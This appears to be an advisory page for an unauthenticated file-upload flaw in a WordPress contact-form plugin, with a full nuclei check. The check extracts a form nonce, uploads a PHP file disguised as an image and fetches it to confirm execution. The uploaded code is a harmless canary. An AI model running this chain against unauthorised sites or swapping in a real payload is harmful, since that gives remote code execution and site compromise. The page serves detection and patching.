CVE-2025-7340· hasthemes / ht-contactform· CWE-434
HT Contact Form Widget for Elementor <= 2.2.1 - Unauthenticated Arbitrary File Upload
The HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder plugin for WordPress is vulnerable to arbitrary file upload in all versions up to and including 2.2.1 due to missing file type validation in the temp_file_upload() function. The handler is registered on the wp_ajax_nopriv_ht_form_temp_file_upload action, so an unauthenticated attacker holding a form nonce (exposed on any page rendering the [ht_form] widget) can upload a PHP file to wp-content/uploads/ht_form/temp/ and execute it, achieving remote code execution.
Impact
An unauthenticated attacker can upload and execute arbitrary PHP on the server, leading to full remote code execution and site compromise.
Fix
Update HT Contact Form Widget to 2.2.2 or later, which validates the uploaded file extension with wp_check_filetype() and rejects disallowed types.
How to confirm it
Send: GET /wp-json/wp/v2/pages?search=ht_form&_fields=link
Positive when: contains "\"link\""
Send: GET /{{slug}}/
Positive when: contains "ht_form" and "\"nonce\""
Send: POST /wp-admin/admin-ajax.php?action=ht_form_temp_file_upload
Positive when: contains "\"success\":true" and "\"file_id\""
Send: GET /wp-content/uploads/ht_form/temp/{{fileid}}
Positive when: contains(body, md5(canary)) AND status 200Run it with nuclei: nuclei -id CVE-2025-7340 -u <target>
The full check
id: CVE-2025-7340
info:
name: HT Contact Form Widget for Elementor <= 2.2.1 - Unauthenticated Arbitrary File Upload
author: DhiyaneshDk
severity: critical
description: |
The HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder plugin for WordPress is vulnerable to arbitrary file upload in all versions up to and including 2.2.1 due to missing file type validation in the temp_file_upload() function. The handler is registered on the wp_ajax_nopriv_ht_form_temp_file_upload action, so an unauthenticated attacker holding a form nonce (exposed on any page rendering the [ht_form] widget) can upload a PHP file to wp-content/uploads/ht_form/temp/ and execute it, achieving remote code execution.
impact: |
An unauthenticated attacker can upload and execute arbitrary PHP on the server, leading to full remote code execution and site compromise.
remediation: |
Update HT Contact Form Widget to 2.2.2 or later, which validates the uploaded file extension with wp_check_filetype() and rejects disallowed types.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-7340
- https://github.com/advisories/GHSA-85f4-4cwm-5xmr
- https://wpscan.com/vulnerability/91f39d58-1379-4908-bdeb-9c9bce39fb2c/
- https://plugins.trac.wordpress.org/changeset?old_path=/ht-contactform/tags/2.2.1&new_path=/ht-contactform/tags/2.2.2
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-7340
epss-score: 0.01751
epss-percentile: 0.7806
cwe-id: CWE-434
metadata:
verified: true
max-request: 4
vendor: hasthemes
product: ht-contactform
framework: wordpress
publicwww-query: "/wp-content/plugins/ht-contactform/"
tags: cve,cve2025,wordpress,wp-plugin,ht-contactform,fileupload,rce,unauth,intrusive,vkev
variables:
canary: "{{to_lower(rand_text_alpha(16))}}"
fname: "{{to_lower(rand_text_alpha(8))}}"
boundary: "{{rand_base(24)}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET /wp-json/wp/v2/pages?search=ht_form&_fields=link HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- '"link"'
internal: true
extractors:
- type: regex
name: slug
part: body
internal: true
group: 1
regex:
- '"link":"[^"]*?\\/([a-zA-Z0-9_-]+)\\/?"'
- raw:
- |
GET /{{slug}}/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- 'ht_form'
- '"nonce"'
condition: and
internal: true
extractors:
- type: regex
name: nonce
part: body
internal: true
group: 1
regex:
- 'ht_form\s*=\s*\{[^}]*?"nonce":"([a-f0-9]+)"'
- raw:
- |
POST /wp-admin/admin-ajax.php?action=ht_form_temp_file_upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary={{boundary}}
--{{boundary}}
Content-Disposition: form-data; name="_wpnonce"
{{nonce}}
--{{boundary}}
Content-Disposition: form-data; name="ht_form_file"; filename="{{fname}}.php"
Content-Type: image/jpeg
<?php echo md5("{{canary}}"); ?>
--{{boundary}}--
matchers:
- type: word
part: body
words:
- '"success":true'
- '"file_id"'
condition: and
internal: true
extractors:
- type: regex
name: fileid
part: body
internal: true
group: 1
regex:
- '"file_id":"([^"]+\.php)"'
- raw:
- |
GET /wp-content/uploads/ht_form/temp/{{fileid}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body, md5(canary))'
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2025-7340
- https://github.com/advisories/GHSA-85f4-4cwm-5xmr
- https://wpscan.com/vulnerability/91f39d58-1379-4908-bdeb-9c9bce39fb2c/
- https://plugins.trac.wordpress.org/changeset?old_path=/ht-contactform/tags/2.2.1&new_path=/ht-contactform/tags/2.2.2
Use this check only on systems you are authorised to test. Where the data comes from